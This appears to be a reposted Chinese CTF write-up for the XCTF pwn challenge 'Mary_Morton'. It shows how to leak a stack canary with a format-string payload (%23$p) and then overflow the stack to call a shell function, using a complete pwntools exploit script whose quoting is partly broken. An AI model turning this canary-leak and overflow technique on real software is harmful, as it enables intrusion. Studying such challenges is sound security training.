[攻防世界]Mary_Morton

Posted lxy8584099

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[攻防世界]Mary_Morton相关的知识,希望对你有一定的参考价值。

打开程序看,菜单已经说明的很清楚了

技术图片

1存在栈溢出,2存在format

不过checksec了发现

技术图片

存在栈保护,这里的format就可以泄露出标志位

经过尝试,%x只能输出8bit的数 这里使用%p

先试试水

技术图片

 

第6个参数就是我们的输入首地址了 然后往下找标志位

技术图片

计算出是第23个参数

验证一下

技术图片

 

是第23个参数没错了

提取出来就可以栈溢出了

溢出的时候控制标志位不改变即可

from pwn import *

# io=process(‘./mary‘)
io=remote(111.198.29.45,43483)

io.recvuntil(3. Exit the battle 
)
io.sendline(str(2))
sleep(0.5)
io.sendline(%23$p)
data=io.recvuntil(
)
print "stack: "+data
stack=int(data[:-1],16)
print "stack: "+hex(stack)

shell_addr=0x4008DA
io.recvuntil(3. Exit the battle 
)
io.sendline(str(1))
sleep(0.5)
payload=a*(0x90-8)+p64(stack)+p64(shell_addr)*5
io.sendline(payload)

io.interactive()
#rdi, rsi, rdx, rcx, r8, r9
# %23$p

 

 

以上是关于[攻防世界]Mary_Morton的主要内容,如果未能解决你的问题,请参考以下文章

bjdctf_2020_babyrop2

攻防世界 mfw

攻防世界NaNNaNNaNNaN-Batman

攻防世界WEB练习-fileclude

逆向-攻防世界-gametime

攻防世界WEB进阶之upload1